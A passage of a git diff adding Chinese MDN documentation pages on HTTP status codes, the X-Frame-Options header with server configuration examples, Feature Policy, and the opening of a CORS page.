方法会对服务器上的资源进行写操作,因而绝大部分的网页服务器都不支持或者在默认配置下不允许上述请求方法,对于此类请求均会返回405错误。</dd> + <dt>{{HTTPStatus(406, "406 Not Acceptable")}}</dt> + <dd>请求的资源的内容特性无法满足请求头中的条件,因而无法生成响应实体。</dd> + <dt>{{HTTPStatus(407, "407 Proxy Authentication Required")}}</dt> + <dd>与401响应类似,只不过客户端必须在代理服务器上进行身份验证。代理服务器必须返回一个 Proxy-Authenticate 用以进行身份询问。客户端可以返回一个 Proxy-Authorization 信息头用以验证。</dd> + <dt>{{HTTPStatus(408, "408 Request Timeout")}}</dt> + <dd>请求超时。客户端没有在服务器预备等待的时间内完成一个请求的发送。客户端可以随时再次提交这一请求而无需进行任何更改。</dd> + <dt>{{HTTPStatus(409, "409 Conflict")}}</dt> + <dd>由于和被请求的资源的当前状态之间存在冲突,请求无法完成。这个代码只允许用在这样的情况下才能被使用:用户被认为能够解决冲突,并且会重新提交新的请求。该响应应当包含足够的信息以便用户发现冲突的源头。</dd> + <dt>{{HTTPStatus(410, "410 Gone")}}</dt> + <dd>被请求的资源在服务器上已经不再可用,而且没有任何已知的转发地址。这样的状况应当被认为是永久性的。如果可能,拥有链接编辑功能的客户端应当在获得用户许可后删除所有指向这个地址的引用。如果服务器不知道或者无法确定这个状况是否是永久的,那么就应该使用 404 状态码。除非额外说明,否则这个响应是可缓存的。</dd> + <dt>{{HTTPStatus(411, "411 Length Required")}}</dt> + <dd>服务器拒绝在没有定义 <code>Content-Length</code> 头的情况下接受请求。在添加了表明请求消息体长度的有效 <code>Content-Length</code> 头之后,客户端可以再次提交该请求。</dd> + <dt>{{HTTPStatus(412, "412 Precondition Failed")}}</dt> + <dd>服务器在验证在请求的头字段中给出先决条件时,没能满足其中的一个或多个。这个状态码允许客户端在获取资源时在请求的元信息(请求头字段数据)中设置先决条件,以此避免该请求方法被应用到其希望的内容以外的资源上。</dd> + <dt>{{HTTPStatus(413, "413 Payload Too Large")}}</dt> + <dd>服务器拒绝处理当前请求,因为该请求提交的实体数据大小超过了服务器愿意或者能够处理的范围。此种情况下,服务器可以关闭连接以免客户端继续发送此请求。如果这个状况是临时的,服务器应当返回一个 <code>Retry-After</code> 的响应头,以告知客户端可以在多少时间以后重新尝试。</dd> + <dt>{{HTTPStatus(414, "414 URI Too Long")}}</dt> + <dd>请求的URI 长度超过了服务器能够解释的长度,因此服务器拒绝对该请求提供服务。这比较少见,通常的情况包括:本应使用POST方法的表单提交变成了GET方法,导致查询字符串(Query String)过长。</dd> + <dt>{{HTTPStatus(415, "415 Unsupported Media Type")}}</dt> + <dd>对于当前请求的方法和所请求的资源,请求中提交的实体并不是服务器中所支持的格式,因此请求被拒绝。</dd> + <dt>{{HTTPStatus(416, "416 Range Not Satisfiable")}}</dt> + <dd>如果请求中包含了 Range 请求头,并且 Range 中指定的任何数据范围都与当前资源的可用范围不重合,同时请求中又没有定义 If-Range 请求头,那么服务器就应当返回416状态码。</dd> + <dt>{{HTTPStatus(417, "417 Expectation Failed")}}</dt> + <dd>此响应代码意味着服务器无法满足 {{HTTPHeader("Expect")}} 请求标头字段指示的期望值。</dd> + <dt>{{HTTPStatus(418, "418 I'm a teapot")}}</dt> + <dd>服务器拒绝尝试用 <code>“<a href="https://zh.wikipedia.org/wiki/%E8%B6%85%E6%96%87%E6%9C%AC%E5%92%96%E5%95%A1%E5%A3%B6%E6%8E%A7%E5%88%B6%E5%8D%8F%E8%AE%AE">茶壶冲泡咖啡</a>”</code>。</dd> + <dt>{{HTTPStatus(421, "421 Misdirected Request")}}</dt> + <dd>该请求针对的是无法产生响应的服务器。 这可以由服务器发送,该服务器未配置为针对包含在请求 URI 中的方案和权限的组合产生响应。</dd> + <dt>{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})</dt> + <dd>请求格式良好,但由于语义错误而无法遵循。</dd> + <dt>{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})</dt> + <dd>正在访问的资源被锁定。</dd> + <dt>{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})</dt> + <dd>由于先前的请求失败,所以此次请求失败。</dd> + <dt>{{HTTPStatus(425, "425 Too Early")}}</dt> + <dd>服务器不愿意冒着风险去处理可能重播的请求。</dd> + <dt></dt> + <dt>{{HTTPStatus(426, "426 Upgrade Required")}}</dt> + <dd>服务器拒绝使用当前协议执行请求,但可能在客户机升级到其他协议后愿意这样做。 服务器在 426 响应中发送 {{HTTPHeader("Upgrade")}} 头以指示所需的协议。</dd> + <dt>{{HTTPStatus(428, "428 Precondition Required")}}</dt> + <dd>原始服务器要求该请求是有条件的。 旨在防止“丢失更新”问题,即客户端获取资源状态,修改该状态并将其返回服务器,同时第三方修改服务器上的状态,从而导致冲突。</dd> + <dt>{{HTTPStatus(429, "429 Too Many Requests")}}</dt> + <dd>用户在给定的时间内发送了太多请求(“限制请求速率”)。</dd> + <dt>{{HTTPStatus(431, "431 Request Header Fields Too Large")}}</dt> + <dd>服务器不愿意处理请求,因为它的 请求头字段太大( Request Header Fields Too Large)。 请求可以在减小请求头字段的大小后重新提交。</dd> + <dt>{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}</dt> + <dd>用户请求非法资源,例如:由政府审查的网页。</dd> +</dl> + +<h2 id="服务端响应">服务端响应</h2> + +<dl> + <dt>{{HTTPStatus(500, "500 Internal Server Error")}}</dt> + <dd><span id="result_box" lang="zh-CN"><span>服务器遇到了不知道如何处理的情况。</span></span></dd> + <dt>{{HTTPStatus(501, "501 Not Implemented")}}</dt> + <dd>此请求方法不被服务器支持且无法被处理。只有<code>GET</code>和<code>HEAD</code>是要求服务器支持的,它们必定不会返回此错误代码。</dd> + <dt>{{HTTPStatus(502, "502 Bad Gateway")}}</dt> + <dd>此错误响应表明服务器作为网关需要得到一个处理这个请求的响应,但是得到一个错误的响应。</dd> + <dt>{{HTTPStatus(503, "503 Service Unavailable")}}</dt> + <dd>服务器没有准备好处理请求。 常见原因是服务器因维护或重载而停机。 请注意,与此响应一起,应发送解释问题的用户友好页面。 这个响应应该用于临时条件和 <code>Retry-After</code>:如果可能的话,HTTP头应该包含恢复服务之前的估计时间。 网站管理员还必须注意与此响应一起发送的与缓存相关的标头,因为这些临时条件响应通常不应被缓存。</dd> + <dt>{{HTTPStatus(504, "504 Gateway Timeout")}}</dt> + <dd>当服务器作为网关,不能及时得到响应时返回此错误代码。</dd> + <dt>{{HTTPStatus(505, "505 HTTP Version Not Supported")}}</dt> + <dd>服务器不支持请求中所使用的HTTP协议版本。</dd> + <dt>{{HTTPStatus(506, "506 Variant Also Negotiates")}}</dt> + <dd>服务器有一个内部配置错误:对请求的透明内容协商导致循环引用。</dd> + <dt>{{HTTPStatus(507, "507 Insufficient Storage")}}</dt> + <dd>服务器有内部配置错误:所选的变体资源被配置为参与透明内容协商本身,因此不是协商过程中的适当端点。</dd> + <dt>{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})</dt> + <dd>服务器在处理请求时检测到无限循环。</dd> + <dt>{{HTTPStatus(510, "510 Not Extended")}}</dt> + <dd>客户端需要对请求进一步扩展,服务器才能实现它。服务器会回复客户端发出扩展请求所需的所有信息。</dd> + <dt>{{HTTPStatus(511, "511 Network Authentication Required")}}</dt> + <dd>511 状态码指示客户端需要进行身份验证才能获得网络访问权限。</dd> +</dl> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden">此页面中的兼容性表格由结构化数据生成。 如果您想为数据做出贡献,请查看 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 并向我们发送拉取请求。</div> + +<p>{{Compat("http.status")}}</p> + +<h2 id="你也可以看看">你也可以看看</h2> + +<ul> + <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_status_codes">List of HTTP status codes on Wikipedia</a></li> + <li><a href="http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml">IANA official registry of HTTP status codes</a></li> +<li><a href="https://www.exai.com/blog/http-status-codes-cheat-sheet">HTTP status codes</a></li> +</ul> diff --git a/files/zh-cn/web/http/x-frame-options/index.html b/files/zh-cn/web/http/x-frame-options/index.html new file mode 100644 index 0000000000..2b6cfcda76 --- /dev/null +++ b/files/zh-cn/web/http/x-frame-options/index.html @@ -0,0 +1,161 @@ +--- +title: X-Frame-Options +slug: Web/HTTP/X-Frame-Options +tags: + - HTTP + - 响应头 + - 响应头部 + - 安全性 +translation_of: Web/HTTP/Headers/X-Frame-Options +--- +<div>{{HTTPSidebar}}</div> + +<p>The <strong><code>X-Frame-Options</code></strong> <a href="/en-US/docs/Web/HTTP">HTTP</a> 响应头是用来给浏览器 指示允许一个页面 可否在 {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} 或者 {{HTMLElement("object")}} 中展现的标记。站点可以通过确保网站没有被嵌入到别人的站点里面,从而避免 {{interwiki("wikipedia", "clickjacking")}} 攻击。</p> + +<p>The added security is only provided if the user accessing the document is using a browser supporting <code>X-Frame-Options</code>. {{HTTPHeader("Content-Security-Policy")}} HTTP 头中的 <a href="/en-US/docs/Security/CSP/CSP_policy_directives#frame-ancestors">frame-ancestors</a> 指令会<a href="https://www.w3.org/TR/CSP2/#frame-ancestors-and-frame-options">替代</a>这个非标准的 header。CSP 的 frame-ancestors 会在 {{Gecko("4.0")}} 中支持,但是并不会被所有浏览器支持。然而 <code>X-Frame-Options</code> 是个已广泛支持的非官方标准,可以和 CSP 结合使用。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<p><code>X-Frame-Options</code> 有三个可能的值:</p> + +<pre class="syntaxbox">X-Frame-Options: deny +X-Frame-Options: sameorigin +X-Frame-Options: allow-from https://example.com/ +</pre> + +<h3 id="指南">指南</h3> + +<p>换一句话说,如果设置为 <code>deny</code>,不光在别人的网站 frame 嵌入时会无法加载,在同域名页面中同样会无法加载。另一方面,如果设置为<code>sameorigin</code>,那么页面就可以在同域名页面的 frame 中嵌套。</p> + +<dl> + <dt><code>deny</code></dt> + <dd>表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。</dd> + <dt><code>sameorigin</code></dt> + <dd>表示该页面可以在相同域名页面的 frame 中展示。</dd> + <dt><code>allow-from <em>uri</em></code></dt> + <dd>表示该页面可以在指定来源的 frame 中展示。</dd> +</dl> + +<h2 id="例子">例子</h2> + +<div class="blockIndicator note"> +<p><strong>Note:</strong> 设置 meta 标签是无效的!例如 <code><meta http-equiv="X-Frame-Options" content="deny"></code> 没有任何效果。不要这样用!只有当像下面示例那样设置 HTTP 头 <code>X-Frame-Options</code> 才会生效。</p> +</div> + +<h3 id="配置_Apache">配置 Apache</h3> + +<p>配置 Apache 在所有页面上发送 X-Frame-Options 响应头,需要把下面这行添加到 'site' 的配置中:</p> + +<pre>Header always set X-Frame-Options "sameorigin" +</pre> + +<p>要将 Apache 的配置 <code>X-Frame-Options</code> 设置成 deny , 按如下配置去设置你的站点:</p> + +<pre>Header set X-Frame-Options "deny" +</pre> + +<p>要将 Apache 的配置 <code>X-Frame-Options</code> 设置成 <code>allow-from</code>,在配置里添加:</p> + +<pre>Header set X-Frame-Options "allow-from https://example.com/" +</pre> + +<h3 id="配置_nginx">配置 nginx</h3> + +<p>配置 nginx 发送 X-Frame-Options 响应头,把下面这行添加到 'http', 'server' 或者 'location' 的配置中:</p> + +<pre>add_header X-Frame-Options sameorigin always; +</pre> + +<h3 id="配置_IIS">配置 IIS</h3> + +<p>配置 IIS 发送 <code>X-Frame-Options</code> 响应头,添加下面的配置到 Web.config 文件中:</p> + +<pre class="brush: xml"><system.webServer> + ... + + <httpProtocol> + <customHeaders> + <add name="X-Frame-Options" value="sameorigin" /> + </customHeaders> + </httpProtocol> + + ... +</system.webServer> +</pre> + +<h3 id="配置_HAProxy">配置 HAProxy</h3> + +<p>配置 HAProxy 发送 <code>X-Frame-Options</code> 头,添加这些到你的前端、监听 listen,或者后端的配置里面:</p> + +<pre>rspadd X-Frame-Options:\ sameorigin +</pre> + +<p>或者,在更加新的版本中:</p> + +<pre>http-response set-header X-Frame-Options sameorigin +</pre> + +<h3 id="配置_Express">配置 Express</h3> + +<p>要配置 Express 可以发送 <code>X-Frame-Options</code> header,你可以用借助了 <a href="https://helmetjs.github.io/docs/frameguard/">frameguard</a> 来设置头部的 <a href="https://helmetjs.github.io/">helmet</a>。在你的服务器配置里面添加:</p> + +<pre class="brush: js">const helmet = require('helmet'); +const app = express(); +app.use(helmet.frameguard({ action: "sameorigin" })); +</pre> + +<p>或者,你也可以直接用 <a href="https://helmetjs.github.io/docs/frameguard/">frameguard</a>:</p> + +<pre class="brush: js">const frameguard = require('frameguard') +app.use(frameguard({ action: 'sameorigin' })) +</pre> + +<h2 id="结果">结果</h2> + +<p>在 Firefox 尝试加载 frame 的内容时,如果 X-Frame-Options 响应头设置为禁止访问了,那么 Firefox 会用 about:blank 展现到 frame 中。也许从某种方面来讲的话,展示为错误消息会更好一点。</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7034")}}</td> + <td>HTTP Header Field X-Frame-Options</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.X-Frame-Options")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors"><code>frame-ancestors</code> (CSP)</a></li> + <li><a href="https://tools.ietf.org/html/rfc7034">HTTP Header Field X-Frame-Options - RFC 7034</a></li> + <li><a class="external" href="http://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx" title="http://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx">ClickJacking Defenses - IEBlog</a></li> + <li><a href="http://blogs.msdn.com/b/ieinternals/archive/2010/03/30/combating-clickjacking-with-x-frame-options.aspx" title="http://blogs.msdn.com/b/ieinternals/archive/2010/03/30/combating-clickjacking-with-x-frame-options.aspx">Combating ClickJacking with X-Frame-Options - IEInternals</a></li> + <li><a href="https://w3c.github.io/webappsec/specs/content-security-policy/#directive-frame-ancestors" title="https://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html#frame-src">CSP Level 2 frame-ancestors directive</a></li> +</ul> diff --git a/files/zh-cn/web/http/策略特征/index.html b/files/zh-cn/web/http/策略特征/index.html new file mode 100644 index 0000000000..90e83fb04a --- /dev/null +++ b/files/zh-cn/web/http/策略特征/index.html @@ -0,0 +1,153 @@ +--- +title: Feature Policy +slug: Web/HTTP/策略特征 +translation_of: Web/HTTP/Feature_Policy +--- +<div>{{SeeCompatTable}}{{HTTPSidebar}}</div> + +<p class="summary">特征策略允许web开发者在浏览器中选择启用、禁用和修改确切特征和 API 的行为.比如{{Glossary("CSP","内容安全策略")}},但是它控制的是浏览器的特征非安全行为.</p> + +<h2 id="概述">概述</h2> + +<p>特征策略提供了一种机制去声明哪些功能通过你的网络,是可以被用的(或者不被使用的)。这就允许你通过功能可用性来很好的锁定功能,即使代码很老,或者包含第三方的内容。</p> + +<p>有了功能策略,你可以选择一组“策略”,让浏览器强制执行整个网站使用的特定功能。这些策略限制了站点可以访问哪些api,或者修改浏览器对某些特性的默认行为</p> + +<p>使用特性策略可以做什么的示例?:</p> + +<ul> + <li>改变手机和第三方视频自动播放的默认行为.</li> + <li>限制网站使用敏感的api,如摄像头或麦克风.</li> + <li> + <p>允许iframes使用全屏API.</p> + </li> + <li> + <p>阻止使用过时的api,比如 <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">synchronous XHR</a> 和 {{domxref("document.write()")}}.</p> + </li> + <li>确保图像的大小正确,对于视口来说不会太大.</li> +</ul> + +<h2 id="概念和用法">概念和用法</h2> + +<p>特性策略允许您在顶级页面和嵌入式框架中控制哪些源可以使用哪些特性。实际上,您编写了一个策略,它是每个特性允许的起源列表。对于由特性策略控制的每个特性,只有当它的起源与允许的起源列表匹配时,该特性才会在当前文档或框架中启用.</p> + +<p>对于每个策略控制的功能,浏览器都会维护启用该功能的来源列表,称为允许列表。如果您未为功能指定策略,则将使用默认的允许列表。默认的许可列表特定于每个功能.</p> + +<h3 id="编写策略">编写策略</h3> + +<p>使用一组单独的策略指令来描述策略。策略指令是已定义功能名称和可以使用该功能的来源的允许列表的组合.</p> + +<h3 id="指定策略">指定策略</h3> + +<p>功能策略提供了两种方法来指定用于控制功能的策略:</p> + +<ul> + <li> {{httpheader('Feature-Policy')}} HTTP 报文头.</li> + <li>在{{HTMLElement('iframe','<code>allow</code>','#Attributes')}} iframes 之上的属性.</li> +</ul> + +<p>HTTP标头和allow属性之间的主要区别在于allow属性仅控制iframe中的功能。标头控制响应中的功能以及页面内的任何嵌入式内容.</p> + +<p>点此链接查看更多详细信息 <a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a>.</p> + +<h2 id="策略控制功能的类型">策略控制功能的类型</h2> + +<p>尽管功能策略使用一致的语法提供了对多个功能的控制,但是策略控制功能的行为却有所不同,并取决于多个因素.</p> + +<p>一般原则是,Web开发人员应该有一种直观或不间断的方式来检测或处理禁用该功能的情况。新引入的功能可能具有显示状态的显式API。稍后与功能策略集成的现有功能通常将使用现有机制。一些方法包括:</p> + +<ul> + <li>对于需要用户权限授予的JavaScript API,返回“权限被拒绝(permission denied)”.</li> + <li>从提供功能访问权限的现有JavaScript API返回<code>false</code>或 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">error</span></font>.</li> + <li>更改控制功能行为的默认值或选项.</li> +</ul> + +<p>当前的一组策略控制功能可分为两大类:</p> + +<ul> + <li>实施最佳实践以获得良好的用户体验.</li> + <li>提供对敏感或强大功能的精细控制.</li> +</ul> + +<h3 id="良好用户体验的最佳实践">良好用户体验的最佳实践</h3> + +<p>有几种策略控制的功能可帮助实施最佳实践,以提供良好的性能和用户体验.</p> + +<p>在大多数情况下,策略控制的功能代表的功能在使用时会对用户体验产生负面影响。为避免破坏现有的Web内容,此类策略控制功能的默认设置是允许所有来源使用该功能。然后,通过使用禁用策略控制功能的策略来实施最佳实践。有关更多详细信息,请参见“实施最佳实践以提供良好的用户体验”.</p> + +<p>功能包括:</p> + +<ul> + <li>Layout-inducing 动画</li> + <li>传统的图像格式</li> + <li>超大号的图片</li> + <li>同步脚本</li> + <li>同步 XMLHTTPRequest</li> + <li>为优化的图像</li> + <li>大小不一的媒体</li> +</ul> + +<h3 id="精细控制某些功能">精细控制某些功能</h3> + +<p>Web提供的功能和API如果被滥用,可能会带来隐私或安全风险。在某些情况下,您可能希望严格限制在网站上使用此类功能的方式。有策略控制的功能,允许针对网站中的特定来源或框架启用/禁用功能。该功能在可用时与Permissions API或特定于功能的机制集成在一起,以检查该功能是否可用.</p> + +<p>功能包括:</p> + +<ul> + <li>加速器</li> + <li>环境光源感测器</li> + <li>自动播放</li> + <li>摄像功能</li> + <li>加密媒体信息</li> + <li>全屏功能</li> + <li>地理定位</li> + <li>陀螺仪</li> + <li>延迟加载</li> + <li>麦克风</li> + <li>Midi</li> + <li>支付请求</li> + <li>画中画(Picture-in-picture)</li> + <li>扬声器</li> + <li>USB</li> + <li>VR / XR</li> +</ul> + +<h2 id="更多示例">更多示例</h2> + +<ul> + <li>点击 <a href="http://feature-policy-demos.appspot.com/">Feature Policy Demos</a> 查看更多策略使用方法.</li> +</ul> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">说明书</th> + <th scope="col">状态</th> + <th scope="col">描述</th> + </tr> + <tr> + <td>{{SpecName('Feature Policy','#feature-policy-http-header-field','Feature-Policy')}}</td> + <td>{{Spec2('Feature Policy')}}</td> + <td>初始化前定义 {{httpheader('Feature-Policy')}} 头. 规范中定义了指令所控制的特性. 有关详细信息,请参阅个别指令页面.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden">此页中的兼容性表是由结构化数据生成的。如果您想贡献数据,请查看 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 并向我们发送pull请求.</div> + +<p>{{Compat("http.headers.Feature-Policy")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a></li> + <li>{{HTTPHeader("Feature-Policy")}} HTTP header</li> + <li>{{HTMLElement('iframe','<code>allow</code>','#Attributes')}} attribute on iframes</li> + <li><a href="https://developers.google.com/web/updates/2018/06/feature-policy">Introduction to Feature Policy</a></li> + <li><a href="https://www.chromestatus.com/features#component%3A%20Blink%3EFeaturePolicy">Feature policies on www.chromestatus.com</a></li> + <li><a href="https://chrome.google.com/webstore/detail/feature-policy-tester-dev/pchamnkhkeokbpahnocjaeednpbpacop">Feature-Policy Tester (Chrome Developer Tools extension)</a></li> +</ul> diff --git a/files/zh-cn/web/http/策略特征/using_feature_policy/index.html b/files/zh-cn/web/http/策略特征/using_feature_policy/index.html new file mode 100644 index 0000000000..9a37fa46f3 --- /dev/null +++ b/files/zh-cn/web/http/策略特征/using_feature_policy/index.html @@ -0,0 +1,140 @@ +--- +title: Using Feature Policy +slug: Web/HTTP/策略特征/Using_Feature_Policy +translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy +--- +<div>{{HTTPSidebar}} {{SeeCompatTable}}</div> + +<p><a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a> allows you to control which origins can use which features, both in the top-level page and in embedded frames. Essentially, you write a policy, which is an allowed list of origins for each feature. For every feature controlled by Feature Policy, the feature is only enabled in the current document or frame if its origin matches the allowed list of origins.</p> + +<p>For each policy-controlled feature, the browser maintains a list of origins for which the feature is enabled, known as an allowlist. If you do not specify a policy for a feature, then a default allowlist will be used. The default allowlist is specific to each feature.</p> + +<h2 id="Writing_a_policy">Writing a policy</h2> + +<p>A policy is described using a set of individual policy directives. A policy directive is a combination of a defined feature name, and an allowlist of origins that can use the feature.</p> + +<h3 id="allowlist">allowlist</h3> + +<p>allowlist可以使用以下一个或多个值。</p> + +<ul> + <li><code>*</code>: 允许在当前文档和所有包含的内容(比如iframes)中使用本特性。</li> + <li><code>'self'</code>: 允许在当前文档中使用本特性,但在包含的内容(比如iframes)仍使用原值。</li> + <li><code>'src'</code>: (只在iframe中允许) 只要在{{HTMLElement('iframe','src','#Attributes')}} 中的URL和加载iframe用的URL相同,则本特性在iframe中允许,</li> + <li><code>'none'</code>: 从最上层到包含的内容都禁止本特性。</li> + <li><origin(s)>: 在特定的源中允许,源URL以空格分割。</li> +</ul> + +<p><code>*</code>(在所有源地址启用)<code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">或</span></font>'none'</code>(在所有源地址禁用)只允许单独使用,而<code>'self'</code>和<code>'src'</code>可以与多个源地址一起使用。</p> + +<p>所有的特性都有一个如下的默认的allowlist</p> + +<ul> + <li><code>*</code>: 本特性默认在最上层和包含的内容中(iframes)允许。</li> + <li><code>'self'</code>: 本特性默认在最上层允许,而包含的内容中(iframes)使用源地址相同设定。也就是说本特性在iframe中不允许跨域访问。</li> + <li><code>'none'</code>: 本特性默认在最上层和包含的内容中(iframes)都禁止。</li> +</ul> + +<h2 id="Specifying_your_policy">Specifying your policy</h2> + +<p>Feature Policy provides two ways to specify policies to control features:</p> + +<ul> + <li>The {{httpheader('Feature-Policy')}} HTTP header.</li> + <li>The {{htmlattrxref("allow", "iframe")}} attribute on {{htmlelement("iframe")}}s.</li> +</ul> + +<p>The primary difference between the HTTP header and the <code>allow</code> attribute is that the allow attribute only controls features within an iframe. The header controls features in the response and any embedded content within the page.</p> + +<h3 id="The_Feature-Policy_HTTP_header">The Feature-Policy HTTP header</h3> + +<p>You can send the <code>Feature-Policy</code> HTTP header with the response of a page. The value of this header is a policy to be enforced by the browser for the given page. It has the following structure.</p> + +<pre class="brush: bash">Feature-Policy: <feature name> <allowlist of origin(s)></pre> + +<p>For example, to block all content from using the Geolocation API across your site:</p> + +<pre class="brush: bash">Feature-Policy: geolocation 'none'</pre> + +<p>Several features can be controlled at the same time by sending the HTTP header with a semicolon-separated list of policy directives, or by sending a separate header for each policy.</p> + +<p>For example, the following are equivalent:</p> + +<pre class="brush: bash">Feature-Policy: unsized-media 'none'; geolocation 'self' https://example.com; camera *; + +Feature-Policy: unsized-media 'none' +Feature-Policy: geolocation 'self' https://example.com +Feature-Policy: camera *; +</pre> + +<h3 id="The_iframe_allow_attribute">The iframe allow attribute</h3> + +<p>The second way to use Feature Policy is for controlling content within an iframe. Use the <code>allow</code> attribute to specify a policy list for embedded content.</p> + +<p>For example, allow all browsing contexts within this iframe to use fullscreen:</p> + +<pre class="brush: html"><iframe src="https://example.com..." allow="fullscreen"></iframe></pre> + +<p>This is equivalent to:</p> + +<pre class="brush: html"><iframe src="https://example.com..." allow="fullscreen 'src'"></iframe></pre> + +<p>This example allows <code><iframe></code> content on a particular origin to access the user's location:</p> + +<pre class="brush: html"><iframe src="https://google-developers.appspot.com/demos/..." + allow="geolocation https://google-developers.appspot.com"></iframe> +</pre> + +<p>Similar to the HTTP header, several features can be controlled at the same time by specifying a semicolon-separated list of policy directives.</p> + +<p>For example, this blocks the <code><iframe></code> from using the camera and microphone:</p> + +<pre class="brush: html"><iframe allow="camera 'none'; microphone 'none'"> +</pre> + +<h2 id="Inheritance_of_policy_for_embedded_content">Inheritance of policy for embedded content</h2> + +<p>Scripts inherit the policy of their browsing context, regardless of their origin. That means that top-level scripts inherit the policy from the main document.</p> + +<p>All iframes inherit the policy of their parent page. If the iframe has an <code>allow</code> attribute, the policies of the parent page and the <code>allow</code> attribute are combined, using the most restrictive subset. For an iframe to have a feature enabled, the origin must be in the allowlist for both the parent page and the allow attribute.</p> + +<p>Disabling a feature in a policy is a one-way toggle. If a feature has been disabled for a child frame by its parent frame, the child cannot re-enable it, and neither can any of the child's descendants.</p> + +<h2 id="Enforcing_best_practices_for_good_user_experiences">Enforcing best practices for good user experiences</h2> + +<p>It's difficult to build a website that uses all the latest best practices and provides great performance and user experiences. As the website evolves, it can become even harder to maintain the user experience over time. You can use feature policies to specify the desired best practices, and rely on the browser to enforce the policies to prevent regressions.</p> + +<p>There are several policy-controlled features designed to represent functionality that can negatively impact the user experience. These features include:</p> + +<ul> + <li>Layout-inducing Animations</li> + <li>Unoptimized (poorly compressed) images</li> + <li>Oversized images</li> + <li>Synchronous scripts</li> + <li>Synchronous XMLHttpRequest</li> + <li>Unsized media</li> +</ul> + +<p>To avoid breaking existing web content, the default for such policy-controlled features is to allow the functionality to be used by all origins. That is, the default allowlist is <code>'*'</code> for each feature. Preventing the use of the sub-optimal functionality requires explicitly specifying a policy that disables the features.</p> + +<p>For new content, you can start developing with a policy that disables all the features. This approach ensures that none of the functionality is introduced. When applying a policy to existing content, testing is likely required to verify it continues to work as expected. This is especially important for embedded or third-party content that you do not control.</p> + +<p>To turn on the enforcement of all the best practices, specify the policy as below.</p> + +<p>Send the following the HTTP header:</p> + +<pre class="brush: bash">Feature-Policy: layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';</pre> + +<p>Using the <code><iframe></code> <code>allow</code> attribute:</p> + +<pre class="brush: html"><iframe src="https://example.com..." allow="layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';"></iframe></pre> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a></li> + <li>{{HTTPHeader("Feature-Policy")}} header</li> + <li>{{HTMLElement('iframe','allow','#Attributes')}} attribute on iframes</li> + <li>{{HTTPHeader("Content-Security-Policy")}} header</li> + <li>{{HTTPHeader("Referrer-Policy")}} header</li> +</ul> diff --git a/files/zh-cn/web/http/跨域资源共享(cors)_/index.html b/files/zh-cn/web/http/跨域资源共享(cors)_/index.html new file mode 100644 index 0000000000..5d4f591eb7 --- /dev/null +++ b/files/zh-cn/web/http/跨域资源共享(cors)_/index.html @@ -0,0 +1,544 @@ +--- +title: 跨域资源共享(CORS) +slug: Web/HTTP/跨域资源共享(CORS)_ +--- +<div>{{ HTTPSidebar }}</div> + +<div></div> + +<div><span class="seoSummary">跨域资源共享({{Glossary("CORS")}}) 是一种机制,它使用额外的 {{Glossary("HTTP")}} 头来告诉浏览器 让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源服务器上的指定的资源。</span>当一个资源从与该资源本身所在的服务器<strong>不同的域、协议或端口</strong>请求一个资源时,资源会发起一个<strong>跨域 HTTP 请求</strong>。</div> + +<div></div> + +<div>比<font>如,站点 http://domain-a.com 的某 HTML 页面通过 <a href="/zh-CN/docs/Web/HTML/Element/Img#Attributes"><img> 的 src </a>请求 http://domain-b.com/image.jpg。网络</font>上的许多页面都会加载来自不同域的CSS样式表,图像和脚本等资源。</div> + +<div></div> + +<p>出于安全原因,浏览器限制从脚本内发起的跨源HTTP请求。 